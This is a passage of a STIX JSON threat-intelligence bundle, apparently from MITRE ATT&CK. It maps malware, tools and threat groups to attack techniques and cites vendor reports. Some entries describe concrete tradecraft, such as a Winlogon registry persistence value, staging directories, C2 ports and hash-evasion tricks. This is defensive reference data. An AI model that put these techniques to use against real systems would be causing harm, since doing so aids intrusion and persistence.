            "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "type": "relationship",
            "modified": "2019-04-18T20:19:49.238Z",
            "created": "2019-01-31T02:01:45.564Z"
        },
        {
            "id": "relationship--3ac3a282-e1be-45f8-8974-0a94e5d43644",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BISCUIT](https://attack.mitre.org/software/S0017) malware contains a secondary fallback command and control server that is contacted after the primary command and control server.(Citation: Mandiant APT1)(Citation: Mandiant APT1 Appendix)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1"
                },
                {
                    "source_name": "Mandiant APT1 Appendix",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip"
                }
            ],
            "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "type": "relationship",
            "modified": "2020-03-16T16:03:40.905Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--39e6a7c0-5eb8-49fe-aec7-9ae9fe70723a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can enumerate local information for Linux hosts and find currently logged on users for Windows hosts.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-04-24T17:52:47.816Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--97d77da2-9e26-4168-b14c-9d26093aa5be",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Before writing to disk, [Kwampirs](https://attack.mitre.org/software/S0236) inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections.(Citation: Symantec Orangeworm April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Orangeworm April 2018",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
                }
            ],
            "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "type": "relationship",
            "modified": "2020-03-18T00:52:18.853Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4e95e37e-76a0-498e-b46e-73a4fb639d3a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RGDoor](https://attack.mitre.org/software/S0258) uses HTTP for C2 communications.(Citation: Unit 42 RGDoor Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 RGDoor Jan 2018",
                    "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"
                }
            ],
            "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:29:15.873Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--819a5c4e-2bd6-4d9b-844c-21dc31e85a67",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[WINERACK](https://attack.mitre.org/software/S0219) can create a reverse shell that utilizes statically-linked Wine cmd.exe code to emulate Windows command prompt commands.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830"
        },
        {
            "id": "relationship--ed2c177c-18fc-4bfd-9169-48af1557a542",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Cherry Picker](https://attack.mitre.org/software/S0107) exfiltrates files over FTP.(Citation: Trustwave Cherry Picker)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Trustwave Cherry Picker",
                    "description": "Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016.",
                    "url": "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/"
                }
            ],
            "source_ref": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
            "type": "relationship",
            "modified": "2020-03-16T17:55:26.698Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d9b7596b-185a-4a2f-8559-6b9349f4c9b9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Koadic](https://attack.mitre.org/software/S0250) can use SSL and TLS for communications.(Citation: Github Koadic)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.",
                    "url": "https://github.com/zerosum0x0/koadic"
                }
            ],
            "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "type": "relationship",
            "modified": "2020-03-21T00:03:36.325Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--aaa2f519-62f6-4dcb-8193-6ed33b8ff4ab",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Koadic](https://attack.mitre.org/software/S0250) can run a command on another machine using [PsExec](https://attack.mitre.org/software/S0029).(Citation: Github Koadic)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.",
                    "url": "https://github.com/zerosum0x0/koadic"
                }
            ],
            "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
            "type": "relationship",
            "modified": "2020-03-16T16:55:03.553Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a5263d1b-fe47-42bb-90ab-ae9fbcfe5f67",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) variants can use ports 443, 8443, and 8080 for communications.(Citation: US-CERT TYPEFRAME June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TYPEFRAME June 2018",
                    "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
                }
            ],
            "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2020-06-23T20:40:40.939Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--09e8b282-61ee-4107-94f5-d03e28199fe9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[S-Type](https://attack.mitre.org/software/S0085) uses ports 80, 443, and 8080 for C2.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2020-02-11T16:29:35.399Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b21c0340-47aa-4eca-86f2-015060744138",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MirageFox](https://attack.mitre.org/software/S0280) uses port 80 for C2.(Citation: APT15 Intezer June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "APT15 Intezer June 2018",
                    "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.",
                    "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-10-17T00:14:20.652Z",
            "source_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e"
        },
        {
            "id": "relationship--3cd0e385-3c60-4742-b3a6-c07dbf10ba45",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can use Mshta.exe to execute additional payloads on compromised hosts.(Citation: FireEye MuddyWater Mar 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                }
            ],
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade",
            "type": "relationship",
            "modified": "2019-04-22T22:36:52.943Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--7296e1e2-514d-4a6c-a1fe-18558a5e3b0f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to obtain screenshots of the compromised system.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-17T02:55:01.652Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b02c9017-5ec9-4be0-9aa9-b183d252c516",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--41cff8e9-fd05-408e-b3d5-d98c54c20bcf",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb",
            "type": "relationship",
            "modified": "2020-02-25T19:00:52.436Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--5e9bee3d-ea86-4715-9fdc-199e10ef2161",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "external_references": [
                {
                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
                    "source_name": "Kaspersky Sofacy"
                },
                {
                    "source_name": "Securelist Sofacy Feb 2018",
                    "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."
                }
            ],
            "description": "(Citation: Kaspersky Sofacy)(Citation: Securelist Sofacy Feb 2018)",
            "type": "relationship",
            "modified": "2019-09-09T17:44:35.663Z",
            "created": "2017-05-31T21:33:27.040Z"
        },
        {
            "id": "relationship--49f3c807-a801-4cfe-ad1c-6966bea2fc8a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can record sound with the microphone.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "type": "relationship",
            "modified": "2019-04-24T17:52:47.819Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--e11d4f32-842a-4684-8974-f368e52b8632",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) obtains a build identifier as well as victim hard drive information from Windows registry key <code>HKLM\\SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum</code>. Another [JHUHUGIT](https://attack.mitre.org/software/S0044) variant gathers the victim storage volume serial number and the storage device name.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.",
                    "source_name": "ESET Sednit Part 1"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/",
                    "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 Sofacy Feb 2018"
                }
            ],
            "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-20T16:40:41.188Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2c219416-4576-4215-80ac-1aebfadefd8b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[VERMIN](https://attack.mitre.org/software/S0257) can perform audio capture.(Citation: Unit 42 VERMIN Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 VERMIN Jan 2018",
                    "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
                }
            ],
            "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "type": "relationship",
            "modified": "2020-03-16T19:50:57.862Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1010f466-818d-4387-9e43-9ae5e9bf9a40",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) obfuscated several scriptlets and code used on the victim\u2019s machine, including through use of XOR and RC4.(Citation: Talos Cobalt Group July 2018)(Citation: Morphisec Cobalt Gang Oct 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "source_name": "Talos Cobalt Group July 2018"
                },
                {
                    "source_name": "Morphisec Cobalt Gang Oct 2018",
                    "url": "https://blog.morphisec.com/cobalt-gang-2.0",
                    "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018."
                }
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-07-26T23:38:33.731Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--07f83a39-8bb0-44f1-9c81-7291ba10dd03",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gazer](https://attack.mitre.org/software/S0168) can establish persistence by setting the value \u201cShell\u201d with \u201cexplorer.exe, %malware_pathfile%\u201d under the Registry key <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon</code>.(Citation: ESET Gazer Aug 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                }
            ],
            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35",
            "type": "relationship",
            "modified": "2020-03-17T01:22:43.705Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--3c52b081-7521-4b73-8603-e6d05496db0c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can retrieve IP addresses of compromised machines.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Trojan.Hydraq Jan 2010",
                    "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident"
                },
                {
                    "source_name": "Symantec Hydraq Jan 2010",
                    "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"
                }
            ],
            "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-02-18T03:48:53.653Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--02a7ea5c-695c-4932-9160-6e0441789670",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [SeaDuke](https://attack.mitre.org/software/S0053) samples have a module to use pass the ticket with Kerberos for authentication.(Citation: Symantec Seaduke 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Seaduke 2015",
                    "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.",
                    "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory"
                }
            ],
            "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926",
            "type": "relationship",
            "modified": "2020-03-17T02:32:26.710Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--87231371-e005-44ab-9b66-1954615f2a7e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-10-17T00:14:20.652Z",
            "source_ref": "malware--310f437b-29e7-4844-848c-7220868d074a",
            "relationship_type": "revoked-by",
            "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b"
        },
        {
            "id": "relationship--b9e2fac9-fc1a-4e13-ac68-1a5796b04d72",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the getFirefoxPassword function to attempt to locate Firefox passwords.(Citation: XAgentOSX 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "XAgentOSX 2017",
                    "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"
                }
            ],
            "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "type": "relationship",
            "modified": "2019-07-26T23:07:21.030Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b7d36798-e9f2-4474-836e-80b100a561e6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used C:\\Windows\\Debug and C:\\Perflogs as staging directories.(Citation: FireEye Periscope March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-17T00:14:35.702Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--c6ceeb68-5d8e-4105-a20a-cce2b3ef48f0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
            "relationship_type": "uses",
            "target_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0",
            "external_references": [
                {
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "source_name": "CrowdStrike Putter Panda"
                }
            ],
            "description": "(Citation: CrowdStrike Putter Panda)",
            "type": "relationship",
            "modified": "2019-03-25T16:53:38.842Z",
            "created": "2017-05-31T21:33:27.059Z"
        },
        {
            "id": "relationship--6d51e34d-d2ee-41aa-9ec7-dc74c84ebe9f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can delete specified files.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-17T02:23:04.241Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e41ab3e7-2b69-4461-a693-e53a24c9ab59",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CORESHELL](https://attack.mitre.org/software/S0137) downloads another dropper from its C2 server.(Citation: FireEye APT28)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "source_name": "FireEye APT28"
                }
            ],
            "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-17T00:47:59.834Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2227a2ce-2eda-4fe3-a9ca-524e0de0ded2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
